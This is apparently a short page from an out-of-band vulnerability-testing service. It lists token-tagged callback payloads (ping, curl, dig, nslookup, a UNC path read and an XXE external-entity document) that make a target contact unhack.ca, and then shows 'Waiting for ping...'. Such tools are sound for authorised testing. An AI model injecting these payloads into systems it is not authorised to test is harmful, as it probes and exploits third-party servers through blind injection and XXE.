$ ping -c1 -p 005efa6640f1e24211d6afb7a190a700 unhack.ca
$ curl http://unhack.ca/p/5efa6640f1e24211d6afb7a190a7
$ dig 5efa6640f1e24211d6afb7a190a7 @unhack.ca
$ dig 5efa6640f1e24211d6afb7a190a7.ns.unhack.ca
C:\> nslookup 5efa6640f1e24211d6afb7a190a7 unhack.ca
C:\> type \\unhack.ca\5efa6640f1e24211d6afb7a190a7\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/5efa6640f1e24211d6afb7a190a7">]>
<foo>&xxe;</foo>
Waiting for ping...